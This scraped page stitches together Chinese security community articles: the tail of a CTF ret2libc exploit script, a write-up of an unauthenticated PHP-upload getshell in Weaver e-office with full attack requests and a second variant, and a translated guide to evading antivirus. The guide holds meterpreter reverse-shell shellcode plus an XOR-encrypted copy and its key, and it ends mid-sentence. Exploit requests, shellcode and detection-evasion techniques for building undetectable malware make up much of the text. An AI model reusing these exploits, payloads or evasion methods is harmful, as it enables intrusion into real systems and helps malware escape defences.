readfile("./flag", length, p32(garbage) + b"a"*(length - 0x5) + b"\n")
p.sendlineafter("> \n", "3")
payload = b"a"*0x1c + p32(0xdeadbeef)
payload += p32(system_address) + p32(exit_address) + p32(bin_sh_address)
p.sendline(payload)
p.interactive() | 社区文章 |
## 引言
**本文仅用于交流学习， 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。**
****
**中华人民共和国网络安全法：**
**[https://baike.baidu.com/item/%E4%B8%AD%E5%8D%8E%E4%BA%BA%E6%B0%91%E5%85%B1%E5%92%8C%E5%9B%BD%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%B3%95/16843044?fromtitle=%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%B3%95&fromid=12291792&fr=aladdin#2](https://baike.baidu.com/item/%E4%B8%AD%E5%8D%8E%E4%BA%BA%E6%B0%91%E5%85%B1%E5%92%8C%E5%9B%BD%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%B3%95/16843044?fromtitle=%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%B3%95&fromid=12291792&fr=aladdin#2)**
## 0x01 前言
本来想着分析分析泛微eoffice最新出的漏洞CNVD-2021-49104的，分析分析着，发现代码好像有别的方法也存在这样的漏洞，未授权getshell。一看补丁包，同步修复了这个漏洞。哎，食之无味弃之可惜，写一篇文章，安慰安慰自己。记录一下发现的时间。。。
## 0x02 环境搭建
下载安装包安装即可。
## 0x03 漏洞复现
1、无需登录，直接发包即可
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 10.211.55.3:8082
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Length: 192
Origin: http://10.211.55.3:8082
Connection: close
Referer: http://10.211.55.3:8082/login.php
Cookie: LOGIN_LANG=cn; PHPSESSID=715b458eb0c0227c9d9e23b81222880b
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg
<?php phpinfo();?>
--e64bdf16c554bbc109cecef6451c26a4--
2、成功后访问<http://10.211.55.3:8082/images/logo/logo-eoffice.php>
可以看到执行成功。
## 0x04 漏洞分析
1、根据请求的路径
/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
定位到文件：/webroot/general/index/ **UploadFile.php**
2、打开乱码问题，搜索一下发现是使用了php zend进行加密
解密地址：<http://dezend.qiling.org/free/>
上传加密文件，输入验证码便可以获取解密后的文件
获取的解密代码如下：
<?php
class UploadFile
{
private static $_instance = NULL;
private function __construct()
{
}
private function __clone()
{
}
public static function getInstance()
{
if (!self::$_instance instanceof self) {
self::$_instance = new self();
}
return self::$_instance;
}
public function uploadPicture($connection)
{
if (!empty($_FILES)) {
$tempFile = $_FILES['Filedata']['tmp_name'];
$uploadType = $_REQUEST['uploadType'];
if ($uploadType == "login_logo") {
$targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/logo/";
if (!file_exists($targetPath)) {
mkdir($targetPath, 511, true);
}
$ext = $this->getFileExtension($_FILES['Filedata']['name']);
if (!in_array(strtolower($ext), array(".jpg", ".jpeg", ".png", ".gif"))) {
echo 3;
exit;
}
$_targetFile = "logo-login" . $ext;
$targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;
if (move_uploaded_file($tempFile, $targetFile)) {
$query = "UPDATE login_form SET LOGO='{$_targetFile}'";
$result = exequery($connection, $query);
if ($result) {
echo $_targetFile;
} else {
echo 0;
}
} else {
echo 0;
}
} else {
if ($uploadType == "login_bg") {
$targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/login-bg/";
$thumbPath = $_SERVER['DOCUMENT_ROOT'] . "/images/login-bg/thumb/";
if (!file_exists($targetPath)) {
mkdir($targetPath, 511, true);
}
if (!file_exists($thumbPath)) {
mkdir($thumbPath, 511, true);
}
$thumbs = scandir($thumbPath);
if (12 < sizeof($thumbs)) {
echo 2;
exit;
}
$ext = $this->getFileExtension($_FILES['Filedata']['name']);
if (!in_array(strtolower($ext), array(".jpg", ".jpeg", ".png", ".gif"))) {
echo 3;
exit;
}
$_targetFile = "theme-" . time() . $ext;
$targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;
$thumbFile = str_replace("//", "/", $thumbPath) . "/" . $_targetFile;
if (move_uploaded_file($tempFile, $targetFile)) {
if ($this->createThumb($targetFile, $thumbFile, $ext)) {
$query = "UPDATE login_form SET THEME='{$_targetFile}',THEME_THUMB='{$_targetFile}'";
$result = exequery($connection, $query);
echo 1;
} else {
echo 4;
}
} else {
echo 0;
}
} else {
if ($uploadType == "theme") {
$targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/themes/";
if (!file_exists($targetPath)) {
mkdir($targetPath, 511, true);
}
$userId = $_GET['userId'];
$sql = "SELECT * FROM user WHERE USER_ID='{$userId}'";
$result = exequery($connection, $sql);
if ($ROW = mysql_fetch_array($result)) {
$themeImage = $ROW['THEME_IMG'];
}
$ext = $this->getFileExtension($_FILES['Filedata']['name']);
$_targetFile = md5(time()) . $ext;
$targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;
$oldFile = str_replace("//", "/", $targetPath) . "/" . $themeImage;
if (move_uploaded_file($tempFile, $targetFile)) {
$sql = "UPDATE user SET THEME_IMG='{$_targetFile}' WHERE USER_ID='{$userId}'";
$result = exequery($connection, $sql);
if ($result) {
if (file_exists($oldFile)) {
unlink($oldFile);
}
$size = getimagesize($targetFile);
$themeWidth = $size[0];
$themeHeight = $size[1];
if (491 < $themeWidth) {
$themeWidth = 491;
$themeHeight = intval($themeHeight * (490 / $size[0]));
}
echo json_encode(array("name" => $_targetFile, "width" => $themeWidth, "height" => $themeHeight));
} else {
if (file_exists($targetFile)) {
unlink($targetFile);
}
echo false;
}
} else {
echo false;
}
} else {
if ($uploadType == "eoffice_logo") {
$targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/logo/";
if (!file_exists($targetPath)) {
mkdir($targetPath, 511, true);
}
$ext = $this->getFileExtension($_FILES['Filedata']['name']);
$_targetFile = "logo-eoffice" . $ext;
$targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;
if (move_uploaded_file($tempFile, $targetFile)) {
$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'";
$result = exequery($connection, $query);
$row = mysql_fetch_array($result);
$param1 = $param2 = false;
if (!$row) {
$query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')";
$param1 = exequery($connection, $query);
} else {
$query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'";
$param1 = exequery($connection, $query);
}
$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'";
$result = exequery($connection, $query);
$row = mysql_fetch_array($result);
if (!$row) {
$query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')";
$param2 = exequery($connection, $query);
} else {
$query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'";
$param2 = exequery($connection, $query);
}
if ($param1 && $param2) {
echo $_targetFile;
} else {
echo 0;
}
} else {
echo 0;
}
}
}
}
}
}
}
public function getFileExtension($file)
{
$pos = strrpos($file, ".");
$ext = substr($file, $pos);
return $ext;
}
public function createThumb($targetFile, $thumbFile, $ext)
{
$dstW = 91;
$dstH = 53;
if (@imagecreatefromgif($targetFile)) {
$src_image = imagecreatefromgif($targetFile);
} else {
if (@imagecreatefrompng($targetFile)) {
$src_image = imagecreatefrompng($targetFile);
} else {
if (@imagecreatefromjpeg($targetFile)) {
$src_image = imagecreatefromjpeg($targetFile);
}
}
}
switch (strtolower($ext)) {
case ".jpeg":
$srcW = imagesx($src_image);
$srcH = imagesy($src_image);
$dst_image = imagecreatetruecolor($dstW, $dstH);
imagecopyresized($dst_image, $src_image, 0, 0, 0, 0, $dstW, $dstH, $srcW, $srcH);
return imagejpeg($dst_image, $thumbFile);
case ".png":
$srcW = imagesx($src_image);
$srcH = imagesy($src_image);
$dst_image = imagecreatetruecolor($dstW, $dstH);
imagecopyresized($dst_image, $src_image, 0, 0, 0, 0, $dstW, $dstH, $srcW, $srcH);
return imagepng($dst_image, $thumbFile);
case ".jpg":
$srcW = imagesx($src_image);
$srcH = imagesy($src_image);
$dst_image = imagecreatetruecolor($dstW, $dstH);
imagecopyresized($dst_image, $src_image, 0, 0, 0, 0, $dstW, $dstH, $srcW, $srcH);
return imagejpeg($dst_image, $thumbFile);
case ".gif":
$srcW = imagesx($src_image);
$srcH = imagesy($src_image);
$dst_image = imagecreatetruecolor($dstW, $dstH);
imagecopyresized($dst_image, $src_image, 0, 0, 0, 0, $dstW, $dstH, $srcW, $srcH);
return imagegif($dst_image, $thumbFile);
break;
default:
break;
}
}
}
include_once "inc/conn.php";
$upload = UploadFile::getinstance();
$method = $_GET['m'];
$upload->{$method}($connection);
3、首先第4-217行属于类UploadFile，这里可以先不看。从第218行开始执行代码，首先，定义类对象，对象执行m传入的方法。
include_once "inc/conn.php";
$upload = UploadFile::getinstance();
$method = $_GET['m'];
$upload->{$method}($connection);
4、根据请求:
m=uploadPicture&uploadType=eoffice_logo&userId=
定位到方法uploadPicture
5、首先检测$_FILES是否为空，不为空，进去条件分支语句。在第23行，看到了uploadType，这里传入的是eoffice_logo，定位到代码122行。（我会在代码注释中放上分析）
if ($uploadType == "eoffice_logo") {
//定义上传路径
$targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/logo/";
//检测"/images/logo/"路径是否存在
if (!file_exists($targetPath)) {
mkdir($targetPath, 511, true);
}
//通过getFileExtension方法提取后缀
$ext = $this->getFileExtension($_FILES['Filedata']['name']);
//直接拼接后缀
$_targetFile = "logo-eoffice" . $ext;
//将"//"替换成"/"
$targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;
//调用move_uploaded_file方法,检测文件是否合法
if (move_uploaded_file($tempFile, $targetFile)) {
$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'";
$result = exequery($connection, $query);
$row = mysql_fetch_array($result);
$param1 = $param2 = false;
//如果文件不存在，使用insert插入文件
if (!$row) {
$query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')";
$param1 = exequery($connection, $query);
} else {
//如果文件存在，则使用update更新文件
$query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'";
$param1 = exequery($connection, $query);
}
$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'";
$result = exequery($connection, $query);
$row = mysql_fetch_array($result);
if (!$row) {
$query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')";
$param2 = exequery($connection, $query);
} else {
$query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'";
$param2 = exequery($connection, $query);
}
if ($param1 && $param2) {
echo $_targetFile;
} else {
echo 0;
}
} else {
echo 0;
}
}
可以看到检测路径、提取路径，提取后缀等
后面直接执行了数据库语句进行文件的更新或插入操作。
6、getFileExtension方法在下面，其实就是以点来分割后缀。
exequery方法在include_once引用的 "inc/conn.php"文件中，可以看到也没有进行过滤。
7、回到原来的UploadFile.php文件，往下有个createThumb方法，可以看到这里是有进行后缀检测的
8、全局搜索一下，发现当uploadType="login_bg"时调用了它，这里上传会检测后缀
9、再往前看，发现当uploadType="login_logo"时设置了白名单后缀
10、下面还有一个当uploadType="theme"的时候执行的代码，简单看了一下，居然没有进行过滤
11、然后，就发现了一个新的未公开的漏洞，在上面的theme方法
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=theme&userId=1 HTTP/1.1
Host: 10.211.55.3:8082
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Length: 192
Origin: http://10.211.55.3:8082
Connection: close
Referer: http://10.211.55.3:8082/login.php
Cookie: LOGIN_LANG=cn; PHPSESSID=715b458eb0c0227c9d9e23b81222880b
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg
<?php phpinfo();?>
--e64bdf16c554bbc109cecef6451c26a4--
12、下载了补丁包，发现都设置了上传后缀白名单，并且加了个过滤器。目前泛微官方已发布此漏洞的软件更新，建议受影响用户尽快升级到安全版本。
官方链接如下：<http://v10.e-office.cn/eoffice9update/safepack.zip>
**theme**
**eoffice_logo**
## 0x05 总结
本来想好好写篇分析文章的，现在还发现了一个未公开的漏洞利用poc，搞得有点尴尬，漏洞涉及版本没有深究，好像新版本后面没有了？
哎，食之无味弃之可惜～本篇内容仅用于信息防御技术学习，未经许可不允许进行非授权测试，谢谢合作。
希望受影响的用户尽快升级到安全版本。
官方补丁下载链接如下：<http://v10.e-office.cn/eoffice9update/safepack.zip> | 社区文章 |
原文地址: https://pentest.blog/art-of-anti-detection-1-introduction-to-av-detection-techniques/
**译者：[MyKings@知道创宇404实验室](http://mykings.me/2016/12/16/%E5%8F%8D%E6%A3%80%E6%B5%8B%E6%8A%80%E6%9C%AF%E4%B9%8B%E5%8F%8D%E7%97%85%E6%AF%92%E6%A3%80%E6%B5%8B/)**
本文将讲解绕过静态、动态、启发式分析等最新的防病毒产品检测的方法，有些方法已经众所知，但是还有一些方法和实现技巧可以来生成
`FUD`(对所有杀毒软件都免杀)恶意软件。
恶意软件的大小差不多和反检测一样重要，当达到免杀时我会尽量减小它的体积。 本文还讲解了反毒软件和 `Windows`
操作系统内部的底层工作原理，阅读者应该至少具有 C/C++、汇编知识的一种，并对 `PE` 文件结构有一定的了解。
## 1\. 基本介绍
实现反检测技术应针对每种恶意软件类型做不同的处理，本文中讲解的所有方法将适用于所有类型的恶意软件。
但本文主要集中在 `meterpreter` 这种 payload 上，因为 `meterpreter` 能做所有其他恶意软件做的事情，例如:
提权、凭证窃取、进程迁移、注册表操作和分配更多的后续攻击，`meterpreter` 还有一个非常活跃的社区，并且它在安全研究人员中非常流行。
> _`译者注:`_
>
> 1. 恶意软件分类:病毒、木马、僵尸程序、流氓软件、勒索软件、广告程序等
> <https://zh.wikipedia.org/wiki/%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6>
>
> 2. Meterpreter 是一种高级可动态扩展的有效负载，它使用内存中的 DLL 注入 stager，并在运行时通过网络扩展。
> <https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/>
>
>
## 2\. 专业术语
### 2.1 基于签名检测
传统的防病毒软件很大程度上依赖于签名来识别恶意软件。
基本上当恶意软件样本到达防病毒公司手中时，它由恶意软件研究人员或动态分析系统分析。然后，一旦确定是恶意软件，则提取文件的适当签名并将其添加到反病毒软件的签名数据库中。[1]
### 2.2 静态程序分析
静态程序分析是在不实际运行程序的情况下进行软件的分析。
在大多数情况下，分析是对某些版本的源代码进行的。而在其他情况下，是某种形式的目标代码(`译者注: 如二进制文件, 需要进行逆向反汇编操作` )。[2]
### 2.3 动态程序分析
动态程序分析是通过在真实或虚拟处理器上执行程序而进行的计算机软件的分析。 为了使动态程序分析有效，目标程序必须执行足够的测试输入以产生有趣的行为(如:
异常退出)。[3]
### 2.4 沙箱技术
在计算机安全中，沙箱是用于隔离正在运行的程序的安全机制。
它通常用于执行未经测试或不受信任的程序或代码，这个程序代码可能来自未经验证的或不受信任的第三方、供应商、用户或网站，而不会危害主机或操作系统。[4]
### 2.5 启发式分析
启发式分析是许多计算机防病毒软件使用的一种方法，其被设计用于检测未知的计算机病毒，以及新的病毒变体。
启发式分析是基于专家的分析，其确定系统对特定威胁/风险使用各种决策规则或衡量方法。 多标准分析（MCA）是衡量的手段之一。
这种方法不同于统计分析，其基于可用的数据/统计。[5]
### 2.6 信息熵
在计算中，熵是由操作系统或应用收集的用于在密码学或需要随机数据的其他用途中使用的随机性。
这种随机性通常从硬件源收集，例如鼠标移动或专门提供的随机发生器。 缺乏熵可能对性能和安全性产生负面影响。[6]
## 3 常见技术
当涉及到减少恶意软件被检测到的风险时，我们首先考虑到的是加密、加壳和代码混淆。
当然这些工具和技术仍然能够绕过大量的 `AV` 产品，但是由于网络安全领域的不断进步，大部分流行的工具和方法已经逐步过时，不能够创造出
FUD(免杀的)恶意软件。
为了理解这些技术和工具的内部原理，我会给出简要的描述;
### 3.1 混淆
代码混淆可以被定义为混合二进制的源代码而不破坏真实函数，它使得静态分析更困难，并且还改变二进制的散列签名。
可以通过添加几行垃圾代码或以编程方式更改指令的执行顺序来实现混淆。 这种方法可以绕过良好的 `AV` 产品，但它的效果取决于你混淆的次数。
### 3.2 加壳
加壳将可执行文件进行压缩打包, 并将压缩数据与解压缩代码组合成单个可执行文件的一种手段。
当执行被压缩过的可执行文件时，解压缩代码会在执行之前从压缩数据中重新创建原始代码。
在大多数情况下这个操作是透明的，所以压缩过的可执行文与原始程序一样可以正常运行。当 `AV` 扫描器扫描压缩过的恶意软件时，它需要知道压缩算法并将其解压缩。
因为压缩过的文件更难分析, 所以恶意软件一般都会被压缩加壳等。
### 3.3 加密
加密是对给定的二进制程序进行加密，使其难以分析或被逆向。 加密存在两个部分: 一个构建器，一个存根。构建器只是加密给定的二进制在 stub
内的位置，stub 是该加密的最重要的部分，当我们的二进制执行，第一 stub 运行和解密原始二进制到存储器，然后通过 `"RunPE"`
方法（在大多数情况下）对存储器执行 binary。
## 4 加壳与加密的问题
在开始之前，我们需要知道主流技术和工具中有哪些错误。 今天的 `AV`
公司已经意识到了危险，他们现在不仅仅是对恶意软件签名和有害行为分析，还能够识别加壳与加密的痕迹。
与检测恶意软件相比，检测加密和加壳是相对容易的，因为他们都有某些可疑的行为，如: 解密加密过的 `PE` 文件，并在内存上执行它。
### 4.1 PE 注入
为了完全理解 `PE` 映像在内存执行情况, 我们需要先谈论下 `Windows` 中如何加载 `PE` 文件。 通常，当编译 `PE`
文件时，编译器将主模块地址设置为 `0x00400000`，同时根据主模块地址计算编译过程中所有完整地址指针和地址的长跳转指令，在编译过程结束时编译器在
`PE` 文件中创建一个重定位分区表，重定位分区表包含映像基地址的指令地址，诸如完整地址指针和长跳转指令。
在执行 `PE` 映像时，操作系统检查 `PE` 映像的首选地址空间是否可用，如果首选地址空间不可用，则操作系统将 `PE`
映像随机加载到一个可用的内存地址上，在启动进程之前系统加载程序需要调整内存上的绝对地址，在重定位分区系统加载器的帮助下修正所有地址相关指令并启动挂起的进程。
所有这种机制称为 “`地址布局随机化(ASLR)`”。[7]
为了让内存中的密码器执行 `PE` 映像，需要解析 `PE` 报头并重新定位绝对地址。几乎在我们对每一种用 `C`
或更高级语言编写的加密程序分析时，我们经常可以看到 “`NtUnmapViewOfSection`”、 “`ZwUnmapViewOfSection`”
这些 Windows API 函数接口的调用，这些函数简单地从主体进程的虚拟地址空间中取消映射一个分区视图，它们在内存执行方法调用中 `RunPE`
扮演了非常重要的角色几乎使用了90％。
xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
当然，`AV` 产品不能仅仅因为程序使用了这些 Windows API 函数，就认为每个程序都是恶意的，但使用这些函数的顺序很重要。 有小部分的
`crypters`（大多数写在汇编）不使用这些功能和手动执行重定位，他们是有时效性的，使用 `crypters`
不合算，因为在逻辑上没有无害的程序会尝试模仿系统的加载程序。
另一个缺点是输入文件的巨大熵增加，因为加密整个 `PE` 文件，熵将不可避免地上升，当 `AV` 扫描程序检测到 `PE`
文件上的异常熵时，他们可能会将文件标记为可疑。
### 4.2 完美方法
加密恶意代码的概念是明智的，但是解密功能应当被正确地混淆，并且当涉及在内存中执行解密的代码时，我们必须在不重定位绝对地址的情况下进行，还必须有检测机制检查恶意软件是否在沙箱中被动态分析，如果检测机制检测到恶意软件正由
`AV` 分析，则不应执行解密功能。而不是加密整个 `PE` 文件，应当加密 `shellcode` 或只有 `.text`
节的二进制最佳，它保持熵和低体积，并且不更改图像头和节。
这是恶意软件流程图。
我们的 “AV检测” 功能将检测恶意软件是否正在沙箱中被动态分析，如果功能检测到AV扫描器的任何迹象，则它将再次调用主函数或者仅当 “AV Detect”
函数来用。如果没有发现AV扫描器的任何迹象，它会调用 “解密Shellcode” 的功能。
这是 `meterpreter` 反向连接 `shellcode` 的原始格式。
unsigned char Shellcode[] = {
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64,
0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28,
0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c,
0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52,
0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,
0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49,
0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75,
0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b,
0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,
0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a,
0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x68, 0x33, 0x32, 0x00, 0x00, 0x68, 0x77,
0x73, 0x32, 0x5f, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0xb8,
0x90, 0x01, 0x00, 0x00, 0x29, 0xc4, 0x54, 0x50, 0x68, 0x29, 0x80, 0x6b,
0x00, 0xff, 0xd5, 0x6a, 0x05, 0x68, 0x7f, 0x00, 0x00, 0x01, 0x68, 0x02,
0x00, 0x11, 0x5c, 0x89, 0xe6, 0x50, 0x50, 0x50, 0x50, 0x40, 0x50, 0x40,
0x50, 0x68, 0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x97, 0x6a, 0x10, 0x56,
0x57, 0x68, 0x99, 0xa5, 0x74, 0x61, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0c,
0xff, 0x4e, 0x08, 0x75, 0xec, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5,
0x6a, 0x00, 0x6a, 0x04, 0x56, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff,
0xd5, 0x8b, 0x36, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x56, 0x6a,
0x00, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0x53, 0x6a, 0x00,
0x56, 0x53, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x01, 0xc3,
0x29, 0xc6, 0x75, 0xee, 0xc3
};
为了保持熵和体积大小在适当的值，我将这个 `shellcode` 传递给简单的 `xor` 密码与多字节 key，`xor` 不是像 `RC4` 或
`blowfish` 加密标准，但我们不需要一个强加密，AV产品不会尝试解密 `shellcode`，使其不可读和不可检测的静态字符串分析就足够了， 也使用
`xor` 进行解密过程更快更多，避免加密库在代码中将减少很多体积。
这是同一个 `meterpreter` 代码用 `XOR` 加密后。
unsigned char Shellcode[] = {
0xfb, 0xcd, 0x8d, 0x9e, 0xba, 0x42, 0xe1, 0x93, 0xe2, 0x14, 0xcf, 0xfa,
0x31, 0x12, 0xb1, 0x91, 0x55, 0x29, 0x84, 0xcc, 0xae, 0xc9, 0xf3, 0x32,
0x08, 0x92, 0x45, 0xb8, 0x8b, 0xbd, 0x2d, 0x26, 0x66, 0x59, 0x0d, 0xb2,
0x9a, 0x83, 0x4e, 0x17, 0x06, 0xe2, 0xed, 0x6c, 0xe8, 0x15, 0x0a, 0x48,
0x17, 0xae, 0x45, 0xa2, 0x31, 0x0e, 0x90, 0x62, 0xe4, 0x6d, 0x0e, 0x4f,
0xeb, 0xc9, 0xd8, 0x3a, 0x06, 0xf6, 0x84, 0xd7, 0xa2, 0xa1, 0xbb, 0x53,
0x8c, 0x11, 0x84, 0x9f, 0x6c, 0x73, 0x7e, 0xb6, 0xc6, 0xea, 0x02, 0x9f,
0x7d, 0x7a, 0x61, 0x6f, 0xf1, 0x26, 0x72, 0x66, 0x81, 0x3f, 0xa5, 0x6f,
0xe3, 0x7d, 0x84, 0xc6, 0x9e, 0x43, 0x52, 0x7c, 0x8c, 0x29, 0x44, 0x15,
0xe2, 0x5e, 0x80, 0xc9, 0x8c, 0x21, 0x84, 0x9f, 0x6a, 0xcb, 0xc5, 0x3e,
0x23, 0x7e, 0x54, 0xff, 0xe3, 0x18, 0xd0, 0xe5, 0xe7, 0x7a, 0x50, 0xc4,
0x31, 0x50, 0x6a, 0x97, 0x5a, 0x4d, 0x3c, 0xac, 0xba, 0x42, 0xe9, 0x6d,
0x74, 0x17, 0x50, 0xca, 0xd2, 0x0e, 0xf6, 0x3c, 0x00, 0xda, 0xda, 0x26,
0x2a, 0x43, 0x81, 0x1a, 0x2e, 0xe1, 0x5b, 0xce, 0xd2, 0x6b, 0x01, 0x71,
0x07, 0xda, 0xda, 0xf4, 0xbf, 0x2a, 0xfe, 0x1a, 0x07, 0x24, 0x67, 0x9c,
0xba, 0x53, 0xdd, 0x93, 0xe1, 0x75, 0x5f, 0xce, 0xea, 0x02, 0xd1, 0x5a,
0x57, 0x4d, 0xe5, 0x91, 0x65, 0xa2, 0x7e, 0xcf, 0x90, 0x4f, 0x1f, 0xc8,
0xed, 0x2a, 0x18, 0xbf, 0x73, 0x44, 0xf0, 0x4b, 0x3f, 0x82, 0xf5, 0x16,
0xf8, 0x6b, 0x07, 0xeb, 0x56, 0x2a, 0x71, 0xaf, 0xa5, 0x73, 0xf0, 0x4b,
0xd0, 0x42, 0xeb, 0x1e, 0x51, 0x72, 0x67, 0x9c, 0x63, 0x8a, 0xde, 0xe5,
0xd2, 0xae, 0x39, 0xf4, 0xfa, 0x2a, 0x81, 0x0a, 0x07, 0x25, 0x59, 0xf4,
0xba, 0x2a, 0xd9, 0xbe, 0x54, 0xc0, 0xf0, 0x4b, 0x29, 0x11, 0xeb, 0x1a,
0x51, 0x76, 0x58, 0xf6, 0xb8, 0x9b, 0x49, 0x45, 0xf8, 0xf0, 0x0e, 0x5d,
0x93, 0x84, 0xf4, 0xf4, 0xc4
};
unsigned char Key[] = {
0x07, 0x25, 0x0f, 0x9e, 0xba, 0x42, 0x81, 0x1a
};
因为我们正在写一个新的恶意软件，我们的恶意软件的哈希签名将不会被反病毒产品所知，所以我们不需要担心基于签名的检测，我们将加密我们的 `shellcode`
和混淆我们的反检测/反逆向的解密函数, 这是用于绕过静态/启发式分析阶段的方法。只有个阶段我们需要绕过，它是动态分析阶段，最重要的部分是 “AV检测”
功能的成功。开始编写函数之前，我们需要了解AV产品的启发式引擎是如何工作。
## 5 启发式引擎
启发式引擎基本上是基于统计和规则的分析机制。它们的主要目的是通过根据预定义标准对代码片段进行分类和提供威胁/风险等级来检测新一代（先前未知的）病毒，即使当由AV产品扫描简单的
`hello world` 程序时，启发式引擎决定威胁/风险分数该分数高于阈值，那么该文件被标记为恶意。
启发式引擎是他们使用大量规则和标准的AV产品的最先进的部分，因为没有反病毒公司发布蓝图或关于他们的启发式引擎的文档所有已知的威胁/风险分级政策的选择性标准被发现尝试和错误。
一些关于威胁分级的已知规则;
* 检测到循环解密
* 读取活动计算机名称
* 读取加密机 GUID
* 联系随机域名
* 读取 Windows 安装日期
* 删除可执行文件
* 在二进制存储器中找到潜在的 IP 地址
* 修改代理设置
* 安装 HOOKS/PATCHES 正在运行的进程
* 注入到 Explorer
* 远程进程注入
* 查询进程信息
* 设置进程模式来压制弹出框
* 特别熵
* 可能检查防病毒引擎的存在
* 监视特定的注册表项以进行更改
* 包含提升权限的能力
* 修改软件策略设置
* 读取系统/视频 BIOS 版本
* PE 头中的入口点在不常见的区段中
* 创建保护的内存区域
* 产生了很多进程
* 设法休眠很长时间
* 特殊的区段
* 读取 Windows 产品 ID
* 包含循环解密
* 包含启动/交互设备驱动程序的能力
* 包含阻止用户输入的能力
当我们写反AV检测和解密 `Shellcode` 的函数时，我们必须小心上面提到的所有规则。
### 5.1 解密 Shellcode
混淆解密机制是至关重要的，大多数AV启发式引擎能够检测 `PE`
